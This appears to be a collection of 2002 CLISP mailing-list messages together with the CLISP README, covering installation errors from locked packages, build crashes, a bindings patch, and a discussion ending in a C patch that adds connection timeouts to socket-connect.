[1]> (compile-file "src/config.lisp")

*** - OPEN: file #P"/home/jimka/src/clisp-2.28/src/src/config.lisp" does
not exist
1. Break [2]> (compile-file "config.lisp")

Compiling file /home/jimka/src/clisp-2.28/src/config.lisp ...
** - Continuable Error
INTERN("FILE"): #<PACKAGE EXT> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
2. Break EXT[3]> continue

Compilation of file /home/jimka/src/clisp-2.28/src/config.lisp is
finished.
0 errors, 0 warnings
#P"/home/jimka/src/clisp-2.28/src/config.fas" ;
NIL ;
NIL
1. Break [2]> (load "src/config.fas")

*** - A file with name src/config.fas does not exist
2. Break [4]> (load "/home/jimka/src/clisp-2.28/src/config.fas")
;; Loading file /home/jimka/src/clisp-2.28/src/config.fas ...
** - Continuable Error
DEFUN/DEFMACRO(SHORT-SITE-NAME): #<PACKAGE COMMON-LISP> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
3. Break EXT[5]> continue

** - Continuable Error
DEFUN/DEFMACRO(LONG-SITE-NAME): #<PACKAGE COMMON-LISP> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
3. Break EXT[6]> continue

** - Continuable Error
DEFUN/DEFMACRO(EDITOR-NAME): #<PACKAGE EXT> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
3. Break EXT[7]> continue

** - Continuable Error
DEFUN/DEFMACRO(EDIT-FILE): #<PACKAGE EXT> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
3. Break EXT[8]> continue

** - Continuable Error
DEFUN/DEFMACRO(EDITOR-TEMPFILE): #<PACKAGE EXT> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
3. Break EXT[9]>
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This is GNU CLISP, a Common Lisp implementation.


What is LISP?
-------------

LISP is a programming language. It was invented by J. McCarthy in 1959.
There have been many dialects of it, but nowadays LISP has been standardized
and wide-spread due to the industrial standard COMMON LISP. There are
applications in the domains of symbolic knowledge processing (AI), numerical
mathematics (MACLISP yielded numerical code as good as FORTRAN), and
widely used programs like editors (EMACS) and CAD (AUTOCAD).
There is an introduction to the language:

  Sheila Hughes: Lisp. Pitman Publishing Limited, London 1986.
  107 pages.

After a while wou will need the standard text containing the language
definition:

  Guy L. Steele Jr.: Common Lisp - The Language. Digital Press.
  1st edition, 1984, 465 pages.
  2nd edition, 1990, 1032 pages.

This book is available in HTML form via FTP from
  ftp.cs.cmu.edu:/user/ai/lang/lisp/doc/cltl/cltl_ht.tgz
and can be viewed through WWW under
  http://www.cs.cmu.edu:8001/Web/Groups/AI/html/cltl/cltl2.html or
  http://www.cs.cmu.edu:8001/afs/cs/project/ai-repository/ai/html/cltl/cltl2.html .

For experts: This standard text has emerged into an ANSI standard, which
you can get free of charge from

  http://www.lisp.org/HyperSpec/FrontMatter/

LISP is run in an interactive environment. You input forms, and they will be
evaluated at once. Thus you can inspect variables, call functions with given
arguments or define your own functions.


Contents:
---------

It consists of the following files:

   base/lisp.a            main program, to be linked
   base/lispinit.mem      memory image needed for startup
   doc/clisp.1            manual page in Unix man format
   doc/clisp.man          manual page
   doc/clisp.html         manual page in HTML format
   doc/impnotes.html      implementation notes
   doc/LISP-tutorial.txt  LISP tutorial for beginners
   doc/CLOS-guide.txt     brief guide to CLOS
   README                 this text
   SUMMARY                short description of CLISP
   ANNOUNCE               announcement
   NEWS                   list of modifications since the last version
   COPYRIGHT              copyright notice
   GNU-GPL                free software license
   doc/editors.txt        survey of editors with Lisp support
   emacs/*.el             Emacs customization, see doc/editors.txt
   src/clisp.c            source of driver program
   src/config.lisp        site-dependent configuration

and - to your convenience, if you like reading source -

   src/*.lisp             the source of lispinit.mem
   src/*.fas              the same files, already compiled


Installation:
-------------

Type

         make

Change the strings in src/config.lisp, using a text editor.
Then start

         base/lisp.run -M base/lispinit.mem

When the LISP prompt

      > _

appears, type

        (compile-file "src/config.lisp")
        (load "src/config.fas")

and then

        (cd "base/")
        (saveinitmem)

to overwrite the file lispinit.mem with your configuration. Then

        (exit)

The rest is done by a simple

        make install

Instead, you may do this yourself, step by step:

Then create a directory, and put the executable and the memory image there.
I would suggest /usr/local/lib/lisp :

   mkdir /usr/local/lib/lisp
   mv base/lisp.run /usr/local/lib/lisp
   mv base/lispinit.mem /usr/local/lib/lisp

And create the driver program that starts lisp:

   ./hardcode -DLISPLIBDIR='/usr/local/lib/lisp' \
              -DLOCALEDIR='/usr/local/share/locale' \
              clisp /usr/local/bin/clisp

Now install the man page

   mv doc/clisp.1 /usr/local/man/man1/clisp.1

and try

   man clisp


When you encounter problems:
----------------------------

After errors, you are in the debugger:

     1. Break> _

You can evaluate forms, as usual. Furthermore:

     Help
               prints help
     Abort     or
     Unwind
               climbs up to the next higher input loop
     Backtrace
               shows the contents of the stack, helpful for debugging

And you can look at the values of the variables of the functions where the
error occurred.

On bigger problems, e.g. core dumps, please send a description of the error
and how to produce it reliably to the authors or the maintainer.
Please accompany it with the CLISP version, which you get by calling
(lisp-implementation-version), as well as the OS name and version.


Sources:
--------

The sources of CLISP are available from
     ftp://clisp.cons.org/pub/lisp/clisp/source/clispsrc*
The latest binary distribution of CLISP for Linux has its sources in
     ftp://sunsite.unc.edu/pub/Linux/devel/lang/lisp/clisp-source.tar.gz


Mailing Lists:
--------------

There are three mailing lists for users of CLISP. You find subscription
information and archives on the homepage http://clisp.cons.org/.


Acknowledgement:
----------------

We are indebted to
  * Guy L. Steele and many others for the Common Lisp specification.
  * Richard Stallman's GNU project for GCC, Autoconf and the readline library.


Authors:
--------

        Bruno Haible
        Michael Stoll

Email: clisp-list@lists.sourceforge.net

Maintainer:
-----------

        Sam Steingold

Email: clisp-list@lists.sourceforge.net

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Is there some sort of hard limit (around 370 or so) functions in a c
module?
lisp.run is getting a signal 11, access violation when it tries to dump
lispinit.mem
after it loads my module.  The access violation occurs in package.d,
when I add 1 more
function, and disappears when I comment it out.  Does this sound
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I notice in impnotes it says that this doesn't work.
(I also notice it gives an error when I try it.)
This seems to me to be incompatible with the CL spec.
If so it should be changed.

I suppose it's an implementation choice whether this returns
a pathname or nil (if you consider a directory to not be a file),
but I'd suggest an extra keyword argument to control that choice.

Has this been discussed before?
If so I must not have been paying attention.


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Bruno Haible schrieb:

> > Now I read about another compile-method in the "gambit" docs and the
> > compiler is Watcom C/C++.

> Forget it. Don't waste your time on it. Watcom C is *crap*. There are
> many compilers that are not as good as GCC. But none is as crappy as
> Watcom C.

Thank you. 
Compiling for me is like a white paper, means till now I do this exactly
3 times (one was msvs4 - did not work, 2 were small profan-tests with a
220k runtime module which worked). 

(There (is) was also javac.exe - I used this often in 1999-2000 and
don't forget the compile-file while installing clisp) - (gcc for c vers.
2.6.3 is available (go32), is this good for work with for beginner like
me? On this CD there is also Fortran 77 vers. 95201 (f2c), but only I
overfly some readme's (and saw demacs *schauder*)) (oh, tclite, is it a
small one?). 

So you can think, what compilers are in my eyes. (big spanish cities).
But this is not the end of this story. I think it takes 3 or 5 years
till I know them (all). Meanwhile I study other lisp-dialects, this is
big subject of interest (for example I found apollo on the net, this
needs to be compiled. And I have now a P75 PC with sco-unix7 running, so
let me see... :) as there is the word: and now we come to something
completely different - learning does so good).

stefan




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Don Cohen schrieb:

> Since the IO I needed could be done with cat > and echo > I just
> have clisp use a shell to do those things.
> I consider this to be an acceptable solution, though not ideal.
> It's still worth while to use clisp to do everything else that has
> to figure out what IO to do by these other means.
> I have no idea whether my proc files would work with Python, Perl,
> etc.


I found this on my win-clisp 2.28:

[5]> (symbolp 'proc)
T
[6]> (describe 'proc)

PROC is the symbol PROC, lies in #<PACKAGE COMMON-LISP-USER>, is
accessible in
the package COMMON-LISP-USER.

 #<PACKAGE COMMON-LISP-USER> is the package named COMMON-LISP-USER. It
has
 the nicknames CL-USER, USER.
 It imports the external symbols of the packages COMMON-LISP, EXT and
exports
 no symbols, but no package uses these exports.

[7]> (apropos 'proc)
SYSTEM::%PROCLAIM-CONSTANT                 function
/PROC
SYSTEM::C-PROCLAIM                         function
SYSTEM::C-PROCLAIM-CONSTANT                function
PROC
SYSTEM::PROCESS-DECLARATIONS               function
SYSTEM::PROCESS-FIXED-VAR-LIST             function
SYSTEM::PROCESS-MOVABLE-VAR-LIST           function
PROCLAIM                                   function
SYSTEM::PROCLAIMED-SPECIAL-P               function


[8]> patience

*** - EVAL: variable PATIENCE has no value
1. Break [18]> (exit)
bye.

stefan


when it is a short-form of (proclaim) then this should work: (HyperSpec)

...
The next figure shows a list of declaration identifiers that can be used
with proclaim. (;; the proc, /proc here?)

declaration  inline     optimize  type  
ftype        notinline  special 

I find nothing about the PROCESS-~; a glossary line:

process v.t. (a form by the compiler) to perform minimal compilation,
determining the time of evaluation for a form, and possibly evaluating
that form (if required).



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Bruno Haible <haible@ilog.fr> wrote:

> > Now I read about another compile-method in the "gambit" docs and the
> > compiler is Watcom C/C++.
> 
> Forget it. Don't waste your time on it. Watcom C is *crap*. There are
> many compilers that are not as good as GCC. But none is as crappy as
> Watcom C.

     I don't know what Watcom is like now (or if it's even still
around), but, 10 years ago, Watcom C blew everything else away -- it was
VERY good, and very reliable (IIRC).  In the years since then, I've yet
to see an i86 compiler that even comes close to the incredibly-efficient
code output by the Watcom C compiler (although I have not, admittedly,
looked at the output of the Intel one).  If you enable argument-passing-
via-registers, the generated code is difficult to distinguish from
hand-written assembly code.

-- 
	Darryl Okahata
	darrylo@soco.agilent.com

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Hi,
  The manpage for clisp says that when invoked as "clisp lispfile",
there will be no repl.  However, in some cases it does try to interact
with standard input.  When used in a pipeline, that can cause havoc.

$ clisp --version
CLISP 1999-07-22 (July 1999)
$ echo  '(defun x () (x)) (x)' >/tmp/t
$ clisp /tmp/t

*** - Program stack overflow. RESET
[1]>

Sorry if this refers to an outdated version of the program; it's what
Debian-stable is distributing.  I noticed the preceeding when just poking
around to get a flavor for clisp.

-- Scott



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Dan Stanger wrote:
> Is there some sort of hard limit (around 370 or so) functions in a c module?
No.

>lisp.run is getting a signal 11, access violation when it tries to dump
>lispinit.mem after it loads my module.
Uh oh, sounds like some internal structure is corrupt.
And you can do as much Lisp as you want prior to SAVEMEM? E.g. multiple (ext:gc), load large files, etc.

>The access violation occurs in package.d, when I add 1 more
>function, and disappears when I comment it out.
And if you add another one function?

>Does this sound familiar to anyone?
No.

BTW, which version of CLISP are you using? My init_modules patch (past 2.28) fixed some issues w.r.t. module_initialization and some potential uninitialized pathname or encoding variables. Uninitialized variable -> later GC crash, or possibly post GC crash (via old pointers to moved objects).

Not much help here,
	Jorg Hohle.


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> I tried to compile clisp 2.28 (not current cvs) both on cygwin and
> redhat 7.1. In both cases building interpreted.mem fails with a segfault.

Bruno said on <clisp-devel>:
| FYI: When compiling clisp with gcc-3.1 on i386, with -O2 as usual, gcc
| miscompiles 4 source files. It's caused by at least two gcc bugs, one
| which occurs at -O2 and one already at -O.
|
| gcc-3.0.4 compiles clisp fine.

please ./configure --with-debug (this disables optimizations) or edit
your Makefile yourself.

thanks!


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The problem went away after I did a make clean3, and rebuilt.
Thanks to all that responded.
I put a new copy of my gdi code on my web site, as
www.diac.com/~dxs/gdi.tar.gz
Dan Stanger
Dan Stanger wrote:

> Is there some sort of hard limit (around 370 or so) functions in a c
> module?
> lisp.run is getting a signal 11, access violation when it tries to dump
> lispinit.mem
> after it loads my module.  The access violation occurs in package.d,
> when I add 1 more
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> familiar to anyone?
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> hi, the installation in the README file (which i've attached)
> are confusing, and do not seem to work as advertised.

> here is what happens when i try to obey the instructions.
> am i doing something wrong?

Hallo

There is some text in the c.l.l - newsgroup. I copy it below. May be it
helps (it is not the same problem you have).

stefan


...................[copy].......................
   Betreff: Re: I apologize ahead if this is an easy question, new to
LISP
     Datum: Sat, 18 May 2002 02:19:15 GMT
       Von: "Joe Marshall" <prunesquallor@attbi.com>
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Referenzen: 1 , 2

"Chichen710" <chichen710@aol.com> wrote in message 
news:20020517211950.17626.00000351@mb-cr.aol.com...

> ** - Continuable Error
> INTERN("DOMATH"): #<PACKAGE EXT> is locked
> If you continue (by typing 'continue'): Ignore the lock and proceed
> 1. Break [3]>
..........

It looks as if the default package at the prompt is the "EXT" package.
(It shouldn't be, but it is.)
If you type

   (setq *package* (find-package "COMMON-LISP-USER"))

at the very first prompt, it should work.

It is unusual that *package* would be set incorrectly upon startup.
It would indicate a mis-configured setup.  Are any errors or warnings
printed when you start?

.................[other copy].................

The reason you are getting this error is because the current package
is the "EXT" package, and that package is `locked' so that you don't
accidentally wipe out the lisp system (the "EXT" package is a system
package).

.................[end-copy]...................





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> * In message <3CAA6BE0.3156DC49@ieee.org>
> * On the subject of "[clisp-list] cparse"
> * Sent on Tue, 02 Apr 2002 19:41:36 -0700
> * Honorable Dan Stanger <dan.stanger@ieee.org> writes:
>
> I have made a first pass at getting cparse running on clisp.  Cparse
> is Tim Moore's program that parses c headers, and generates cmucl and
> now clisp lisp code to call the c functions.  I would appreciate any
> testing that could be done with this on clisp, I have used it to parse
> windows.h, the cygwin windows header file.  Dan Stanger

where is your version?
I would like to distribute it with CLISP.
do you mind?

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Hello!

I've got a little problem with sockets.  When I use
socket:socket-connect and the site I want to connect to is down or
non-existent it takes a forever till my program can continue.

I think a solution would be for me if I could specify a timeout to
socket-connect.  Is that a missing feature or am I off the track?  (I
don't have experience in socket programming in any other language so
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> * In message <87elg1l7ih.fsf@my.gnus.org>
> * On the subject of "[clisp-list] socket-connect's timeout"
> * Sent on Fri, 24 May 2002 20:34:30 +0200
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> I think a solution would be for me if I could specify a timeout to
> socket-connect.  Is that a missing feature or am I off the track?

At the moment, there is no way to do this, which, I think, is the only
operation where blocking is inevitable now (we have socket-wait,
socket-status and listen, which will help you avoid blocking in all
other cases).

This is a nice feature to have, so I would appreciate it if someone
could tell me how to set connection timeout for a socket.  I suspect
that there is a setsockopt() option for that (SO_RCVTIMEO?), but I am
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I couldn't compile clisp with the linuxlibc6 bindings without applying the
patch shown below. I don't know if read and write are equivalent to
full_read and full_write. Some man pages that I read indicate that they
are equivalent.


By the way, this problem occurs on my redhat 7.2 and mandrake 8.2 boxes. I
have no other test platforms.

Thanks for your time,
J*

*** clisp/modules/bindings/linuxlibc6/linux.lisp.old    Fri May 24
15:50:41 2002
--- clisp/modules/bindings/linuxlibc6/linux.lisp        Fri May 24
15:51:06 2002
***************
*** 1124,1132 ****
  (def-call-out close (:arguments (fd int)) (:return-type int))
  
  (def-call-out read (:arguments (fd int) (buf c-pointer) (nbytes size_t))
!   (:return-type ssize_t) (:name "full_read"))
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size_t))
!   (:return-type ssize_t) (:name "full_write"))
  
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    (:return-type int))
--- 1124,1132 ----
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!   (:return-type ssize_t))
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size_t))
!   (:return-type ssize_t))
  
  (def-call-out pipe (:arguments (pipedes (c-ptr (c-array int 2)) :out))
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I don't think you can specify the connection timeout, exactly. You can
roll your own by setting the socket to non-blocking (ioctl w/ FIONBIO)
before calling "connect"; then if connect sets errno to EINPROGRESS you
can use "select" with a timeout to implement your own connection
timeout.

Jason

On Fri, 2002-05-24 at 13:20, Sam Steingold wrote:
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> is a nice feature to have, so I would appreciate it if someone
> could tell me how to set connection timeout for a socket.  I suspect
> that there is a setsockopt() option for that (SO_RCVTIMEO?), but I am
> not sure.  Do we have a "dedicated TCP/IP guru" here?
> 
> -- 
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On 24 May 2002, Sam Steingold wrote:

> > * In message <87elg1l7ih.fsf@my.gnus.org>
> > * On the subject of "[clisp-list] socket-connect's timeout"
> > * Sent on Fri, 24 May 2002 20:34:30 +0200
> > * Honorable ignotus-dated-1022610807.c582d1@my.gnus.org writes:
> >
> > I think a solution would be for me if I could specify a timeout to
> > socket-connect.  Is that a missing feature or am I off the track?
> 
> At the moment, there is no way to do this, which, I think, is the only
> operation where blocking is inevitable now (we have socket-wait,
> socket-status and listen, which will help you avoid blocking in all
> other cases).
> 
> This is a nice feature to have, so I would appreciate it if someone
> could tell me how to set connection timeout for a socket.  I suspect
> that there is a setsockopt() option for that (SO_RCVTIMEO?), but I am
> not sure.  Do we have a "dedicated TCP/IP guru" here?

Not that I'm an expert on this, but the last time I had to do this in C on
linux, I used an alarm. The SO_SNDTIMEO and SO_RCVTIMEO options may or may
not work in linux 2.4.x... I read conflicting reports. But I thought those
timeouts were for use after the connection is opened.

J*



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> * In message <Pine.LNX.4.21.0205241556280.5080-100000@2gn.com>
> * On the subject of "[clisp-list] problem with linuxlibc6 bindings module"
> * Sent on Fri, 24 May 2002 16:02:29 -0400 (EDT)
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>
> I couldn't compile clisp with the linuxlibc6 bindings without applying
> the patch shown below. I don't know if read and write are equivalent
> to full_read and full_write. Some man pages that I read indicate that
> they are equivalent.

full_write and full_read are (were) CLISP internal functions.

full_read is now a CPP macro...

> By the way, this problem occurs on my redhat 7.2 and mandrake 8.2
> boxes. I have no other test platforms.

you forgot to mention that you are using CLISP cvs (unstable development
sources).  while we are grateful for your bug report, please note that
if you are using the CLISP from CVS, you are supposed to subscribe to
<clisp-devel> and send your reports there (note that you have to
subscribe to <clisp-devel> to post there!)

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> * In message <sa0hekxmjyc.fsf@glip.premonitia.com>
> * On the subject of "Re: [clisp-list] socket-connect's timeout"
> * Sent on 24 May 2002 15:20:27 -0400
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>
> This is a nice feature to have, so I would appreciate it if someone
> could tell me how to set connection timeout for a socket. 
> Do we have a "dedicated TCP/IP guru" here?

Thanks to Jason and John for their insights!
The fact that there are two very different suggestions is quite scary:
it basically means that there is no standard way to do this.

I wonder if any application actually does this.

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--- Sam Steingold <sds@gnu.org> wrote:

> Thanks to Jason and John for their insights!  The fact that there
> are two very different suggestions is quite scary: it basically
> means that there is no standard way to do this.
> 
> I wonder if any application actually does this.

Yes.  I implemented it for cmucl.  See
<http://lemonodor.com/archives/000019.html>.


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On Fri, 24 May 2002, John Wiseman wrote:

> --- Sam Steingold <sds@gnu.org> wrote:
> 
> > Thanks to Jason and John for their insights!  The fact that there
> > are two very different suggestions is quite scary: it basically
> > means that there is no standard way to do this.
> > 
> > I wonder if any application actually does this.
> 
> Yes.  I implemented it for cmucl.  See
> <http://lemonodor.com/archives/000019.html>.

And somewhere in a Stevens book, I saw the alarm technique. I'll try to
find an example. It looks like John Wiseman's suggestion is better though.

J*



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Hello Sam,

Saturday, May 25, 2002, 6:41:49 AM, you wrote:

>> This is a nice feature to have, so I would appreciate it if someone
>> could tell me how to set connection timeout for a socket. 
>> Do we have a "dedicated TCP/IP guru" here?

Sam> Thanks to Jason and John for their insights!
Sam> The fact that there are two very different suggestions is quite scary:
Sam> it basically means that there is no standard way to do this.

IANATCPIPG, but Jason's approach seems standard - it's already used in
socket-wait. MSDN:

connect
.....

If  no  error  occurs,  connect  returns  zero.  Otherwise, it returns
SOCKET_ERROR,  and  a  specific error code can be retrieved by calling
WSAGetLastError.

On a blocking socket, the return value indicates success or failure of
the connection attempt.

With  a nonblocking socket, the connection attempt cannot be completed
immediately.  In  this  case,  connect  will  return SOCKET_ERROR, and
WSAGetLastError  will  return  WSAEWOULDBLOCK. In this case, there are
three possible scenarios:

--  Use  the  select  function  to  determine  the  completion  of the
connection request by checking to see if the socket is writeable.
-- ... (windows specific)
-- ... (windows specific)


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how can i subscribe to this list?


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Hello Jim,

Saturday, May 25, 2002, 6:32:20 PM, you wrote:

Jim> how can i subscribe to this list?

Answer:
Jim> https://lists.sourceforge.net/lists/listinfo/clisp-list

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Sam Steingold <sds@gnu.org> writes:

> > * In message <87elg1l7ih.fsf@my.gnus.org>
> > * On the subject of "[clisp-list] socket-connect's timeout"
> > * Sent on Fri, 24 May 2002 20:34:30 +0200
> > * Honorable ignotus-dated-1022610807.c582d1@my.gnus.org writes:
> >
> > I think a solution would be for me if I could specify a timeout to
> > socket-connect.  Is that a missing feature or am I off the track?
> 
> At the moment, there is no way to do this, which, I think, is the only
> operation where blocking is inevitable now (we have socket-wait,
> socket-status and listen, which will help you avoid blocking in all
> other cases).
> 
> This is a nice feature to have, so I would appreciate it if someone
> could tell me how to set connection timeout for a socket.  I suspect
> that there is a setsockopt() option for that (SO_RCVTIMEO?), but I am
> not sure.  Do we have a "dedicated TCP/IP guru" here?

As others have suggested, I think the right way to do this is by
putting the socket in non-blocking mode for the connect call.
(Coincidentally, I mentioned the same issue a couple days ago on the
-devel list in the thread about shutdown.)  If you're going to go that
route, can I suggest that the actual timeout be done in lisp with
socket-status instead of in C?  I.e., do something like make
a socket-connect% which takes a non-blocking option, and then
have (very rougly)

(defun socket-connect (... &key timeout)
   ...
   (let ((stream (socket-connect% ....)))
     (when timeout
       (socket-status (stream . output) timeout))
     stream))

The point being to make it possible to do a non-blocking
socket-connect, but letting the user have the option of doing his own
timeout error handling later.


Todd

p.s.  Even with non-blocking connect, there's still the possibility of
blocking during name resolution.  Sigh.


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I put a new gdi module on my web site www.diac.com/~dxs/gdi.tar.gz.
It contains a working version of a program which creates a window,
and allows setting callback functions.  I would appreciate any comments
on it.
Dan Stanger



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--=-=-=

all interested parties please try the appended patch.
I tested it only on linux, so I am especially interested in what other
platform users think.
Specifically win32: what's the MS-way to do ioctl/FIONBIO?

basically, I added the :timeout keyword arg to SOCKET-ACCEPT and
SOCKET-CONNECT so that

  (socket-accept s :timeout x) ==

  (if (socket-wait s x)
      (socket-accept s)
      (error 'timeout))

and similarly for SOCKET-CONNECT.

Todd, this is not what you want, I know, you prefer the UNIX way of
returning NIL instead of signaling an error.  The lisp way (as I
understand it) is to return a valid object or to signal an error.

You can get the behavior you want using IGNORE-ERRORS, while a careless
user might get stuck with SOCKET-CONNECT returning NIL here:

  (let ((s (socket-connect 80 "www.foo.com" :timeout 1)))
    (format s "GET /~2%")
    (read-all s))

if S is NIL, format will succeed, while READ-ALL will probably block
trying to read from *STANDARD-INPUT*.

-- 
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Index: socket.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/socket.d,v
retrieving revision 1.58
diff -u -w -b -r1.58 socket.d
--- socket.d	22 May 2002 17:39:34 -0000	1.58
+++ socket.d	26 May 2002 20:08:37 -0000
@@ -308,13 +308,10 @@
 
 # Look up a host's IP address, then call a user-defined function taking
 # a `struct sockaddr' and its size, and returning a SOCKET.
-typedef SOCKET (*socket_connect_fn) (struct sockaddr * addr, int addrlen);
-local SOCKET with_hostname (const char* host, unsigned short port, socket_connect_fn connector);
-local SOCKET with_hostname(host,port,connector)
-  var const char* host;
-  var unsigned short port;
-  var socket_connect_fn connector;
-  {
+typedef SOCKET (*socket_connect_fn_t) (struct sockaddr * addr, int addrlen,
+                                       void* opts);
+local SOCKET with_hostname (const char* host, unsigned short port,
+                            socket_connect_fn_t connector, void* opts) {
     #ifdef HAVE_INET_PTON
     #ifdef HAVE_IPV6
     {
@@ -322,7 +319,8 @@
       if (inet_pton(AF_INET6,host,&inaddr.sin6_addr) > 0) {
         inaddr.sin6_family = AF_INET6;
         inaddr.sin6_port = htons(port);
-        return connector((struct sockaddr *) &inaddr, sizeof(struct sockaddr_in6));
+      return connector((struct sockaddr *) &inaddr,
+                       sizeof(struct sockaddr_in6), opts);
       }
     }
     #endif
@@ -331,7 +329,8 @@
       if (inet_pton(AF_INET,host,&inaddr.sin_addr) > 0) {
         inaddr.sin_family = AF_INET;
         inaddr.sin_port = htons(port);
-        return connector((struct sockaddr *) &inaddr, sizeof(struct sockaddr_in));
+      return connector((struct sockaddr *) &inaddr,
+                       sizeof(struct sockaddr_in), opts);
       }
     }
     #else
@@ -344,7 +343,8 @@
         inaddr.sin_family = AF_INET;
         inaddr.sin_addr.s_addr = hostinetaddr;
         inaddr.sin_port = htons(port);
-        return connector((struct sockaddr *) &inaddr, sizeof(struct sockaddr_in));
+      return connector((struct sockaddr *) &inaddr,
+                       sizeof(struct sockaddr_in), opts);
       }
     }
     #endif
@@ -361,7 +361,8 @@
         inaddr.sin6_family = AF_INET6;
         inaddr.sin6_addr = *(struct in6_addr *)host_ptr->h_addr;
         inaddr.sin6_port = htons(port);
-        return connector((struct sockaddr *) &inaddr, sizeof(struct sockaddr_in6));
+      return connector((struct sockaddr *) &inaddr,
+                       sizeof(struct sockaddr_in6), opts);
       } else
       #endif
       if (host_ptr->h_addrtype == AF_INET) {
@@ -370,9 +371,10 @@
         inaddr.sin_family = AF_INET;
         inaddr.sin_addr = *(struct in_addr *)host_ptr->h_addr;
         inaddr.sin_port = htons(port);
-        return connector((struct sockaddr *) &inaddr, sizeof(struct sockaddr_in));
-      } else {
-        sock_set_errno(EPROTOTYPE); return INVALID_SOCKET; # Not an Internet host!
+      return connector((struct sockaddr *) &inaddr,
+                       sizeof(struct sockaddr_in), opts);
+    } else { # Not an Internet host!
+      sock_set_errno(EPROTOTYPE); return INVALID_SOCKET;
       }
     }
   }
@@ -435,21 +437,19 @@
 #endif
 
 #ifdef TCPCONN
-local SOCKET connect_to_x_via_ip (struct sockaddr * addr, int addrlen);
-local SOCKET connect_to_x_via_ip(addr,addrlen)
-  var struct sockaddr * addr;
-  var int addrlen;
-  {
+local SOCKET connect_to_x_via_ip (struct sockaddr * addr, int addrlen,
+                                  void* ignore) {
     var SOCKET fd;
     var int retries = 3; # number of retries on ECONNREFUSED
+  (void)(ignore); # no options -- ignore
     do {
       if ((fd = socket((int) addr->sa_family, SOCK_STREAM, 0)) == INVALID_SOCKET)
         return INVALID_SOCKET;
       #ifdef TCP_NODELAY
-        # turn off TCP coalescence (the bandwidth saving Nagle algorithm)
-        {
+    { # turn off TCP coalescence (the bandwidth saving Nagle algorithm)
           int tmp = 1;
-          setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, (SETSOCKOPT_ARG_T)&tmp, sizeof(int));
+      setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, (SETSOCKOPT_ARG_T)&tmp,
+                 sizeof(int));
         }
       #endif
       # Connect to the socket.
@@ -562,9 +562,9 @@
     var unsigned short port = X_TCP_PORT+display;
     if (host[0] == '\0') {
       get_hostname(host =);
-      fd = with_hostname(host,port,&connect_to_x_via_ip);
+      fd = with_hostname(host,port,&connect_to_x_via_ip,NULL);
     } else {
-      fd = with_hostname(host,port,&connect_to_x_via_ip);
+      fd = with_hostname(host,port,&connect_to_x_via_ip,NULL);
     }
     if (fd == INVALID_SOCKET)
       return INVALID_SOCKET;
@@ -717,13 +717,12 @@
 #   This can (and should) be done multiple times for the same
 #   socket_handle.
 
-global SOCKET create_server_socket (host_data *hd, SOCKET sock, unsigned int port);
-local SOCKET bindlisten_via_ip (struct sockaddr * addr, int addrlen);
-local SOCKET bindlisten_via_ip(addr,addrlen)
-  var struct sockaddr * addr;
-  var int addrlen;
-  {
+global SOCKET create_server_socket (host_data *hd, SOCKET sock,
+                                    unsigned int port);
+local SOCKET bindlisten_via_ip (struct sockaddr * addr, int addrlen,
+                                void* ignore) {
     var SOCKET fd;
+  (void)(ignore); # no options -- ignore
     # Get a socket.
     if ((fd = socket((int) addr->sa_family, SOCK_STREAM, 0)) == INVALID_SOCKET)
       return INVALID_SOCKET;
@@ -733,7 +732,8 @@
     # will still yield an error.)
     {
       var unsigned int flag = 1;
-      if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (SETSOCKOPT_ARG_T)&flag, sizeof(flag)) < 0) {
+    if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (SETSOCKOPT_ARG_T)&flag,
+                   sizeof(flag)) < 0) {
         saving_sock_errno(CLOSESOCKET(fd)); return INVALID_SOCKET;
       }
     }
@@ -756,7 +756,8 @@
     var SOCKET fd;
     if (sock == INVALID_SOCKET) {
       # "0.0.0.0" allows connections from any host to our server
-      fd = with_hostname("0.0.0.0",(unsigned short)port,&bindlisten_via_ip);
+      fd = with_hostname("0.0.0.0",(unsigned short)port,&bindlisten_via_ip,
+                         NULL);
     } else {
       var sockaddr_max addr;
       var SOCKLEN_T addrlen = sizeof(sockaddr_max);
@@ -773,7 +774,7 @@
           break;
         default: NOTREACHED;
       }
-      fd = bindlisten_via_ip((struct sockaddr *)&addr,addrlen);
+      fd = bindlisten_via_ip((struct sockaddr *)&addr,addrlen,NULL);
     }
     if (fd == INVALID_SOCKET)
       return INVALID_SOCKET;
@@ -796,32 +797,56 @@
   }
 
 # Creation of sockets on the client side:
-# SOCKET fd = create_client_socket(hostname,port);
+# SOCKET fd = create_client_socket(hostname,port,void* timeout);
 #   creates a connection to a server (which must be waiting
 #   on the specified host and port).
 
-global SOCKET create_client_socket (const char* hostname, unsigned int port);
-local SOCKET connect_via_ip (struct sockaddr * addr, int addrlen);
-local SOCKET connect_via_ip(addr,addrlen)
-  var struct sockaddr * addr;
-  var int addrlen;
-  {
+global SOCKET create_client_socket (const char* hostname, unsigned int port,
+                                    void* timeout);
+local SOCKET connect_via_ip (struct sockaddr * addr, int addrlen,
+                             void* timeout) {
+  # <http://cr.yp.to/docs/connect.html>:
+  # - make a non-blocking socket, connect(), select() for WR
     var SOCKET fd;
     if ((fd = socket((int) addr->sa_family, SOCK_STREAM, 0)) == INVALID_SOCKET)
       return INVALID_SOCKET;
    #ifdef WIN32_NATIVE
     if (!lingerize_socket(&fd)) return INVALID_SOCKET;
    #endif
+ #ifdef FIONBIO
+  if (timeout) {
+    var int non_blocking_io = 1;
+    if (ioctl(fd,FIONBIO,&non_blocking_io) != 0) { return INVALID_SOCKET; }
+  }
+ #endif
     if (connect(fd, addr, addrlen) >= 0)
       return fd;
+ #ifdef FIONBIO
+  if (sock_errno_is(EINPROGRESS)) {
+   restart_select:
+    var fd_set handle_set;
+    FD_ZERO(&handle_set); FD_SET(fd,&handle_set);
+    var int ret = select(FD_SETSIZE,NULL,&handle_set,NULL,
+                         (struct timeval*)timeout);
+    if (ret < 0) {
+      if (sock_errno_is(EINTR)) goto restart_select;
+      saving_sock_errno(CLOSESOCKET(fd)); return INVALID_SOCKET;
+    }
+    if (ret == 0) { # timeout
+      CLOSESOCKET(fd); errno = ETIMEDOUT;
+      return INVALID_SOCKET;
+    }
